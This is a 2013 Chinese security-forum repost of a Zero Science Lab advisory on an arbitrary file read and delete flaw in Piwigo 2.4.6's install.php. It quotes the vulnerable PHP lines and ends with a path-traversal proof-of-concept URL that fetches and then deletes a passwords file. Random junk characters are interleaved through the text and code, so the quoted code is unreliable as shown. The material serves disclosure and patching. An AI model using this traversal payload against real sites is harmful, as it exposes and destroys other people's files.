找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2089|回复: 0
打印 上一主题 下一主题

Piwigo任意文件泄露和任意文件删除漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-14 20:15:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Piwigo是用PHP编写的相册脚本。2 p: o/ ]6 S5 z! b: `- j
) \- N  M) b6 O* j/ P+ J: @6 o
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。: q) a" c7 }8 _) c& }+ L4 g
====================================================================
7 O+ z& z& F! ?. G& M8 o/install.php:
1 i; {4 c$ r2 g6 l, `/ E' P( }-------------
& a2 ?/ f/ L6 M$ U113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
8 O# e" c+ K* q114: {0 J# {; d# F. {  A0 l$ z
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];5 z3 _7 o4 ^2 K* T! D2 f
116:   header('Cache-Control: no-cache, must-revalidate');$ }  Q) H4 V0 s; {5 o
117:   header('Pragma: no-cache');  X! V; x; d) ^6 S; p4 r
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
! Q$ [# ~* K( V& i& q+ [119:   header('Content-Transfer-Encoding: binary');0 I  k6 i# n' Y
120:   header('Content-Length: '.filesize($filename));/ I) ?' M: I  i; e
121:   echo file_get_contents($filename);
: x# ~! |# ~9 D+ j1 y  p122:   unlink($filename);
8 b1 M) m- y% L7 u3 Q2 W# S123:   exit();
. ]  ]1 U5 {+ L. w124: }! W1 x- k& o) g! O& `) j& m
====================================================================
$ {1 g+ k2 _! o; q( c
1 E9 Y9 T/ w. A* @Tested on: Microsoft Windows 7 Ultimate SP1 (EN)+ C$ l" k  M0 }6 y' n5 z" N& t% y
           Apache 2.4.2 (Win32), a) T% `/ g& x3 u8 i6 g
           PHP 5.4.4' w- w9 r5 E8 C+ q- c# J
           MySQL 5.5.25a* E% \9 [2 i4 Q) ~# p2 i3 g$ I( @. e
1 s" n4 d+ |  G
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic8 X0 }) c8 ]) P4 D
                            @zeroscience
+ S5 |4 L- D: i3 Q* c2 P9 [# g( B$ Z 7 K9 o* m& G9 q! S5 A4 c3 y: N
Advisory ID: ZSL-2013-5127
) t6 @, r1 H, s0 xAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php# |& V" ~( f& {0 e6 v: \0 h! s( P
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
" d6 _- `4 R+ X: U7 g+ h/ n9 U; A
+ ~1 V3 I8 g: r0 y. J15.02.20133 v6 v4 I4 Z! ^9 p5 [% W* M# s

+ H5 O6 i' B7 u--
, s" G$ ~. x% W$ C. ?http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
. U( ^7 u$ p! l2 q* X- G ( @- K; L" S4 Q; W2 @, A0 M4 c
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表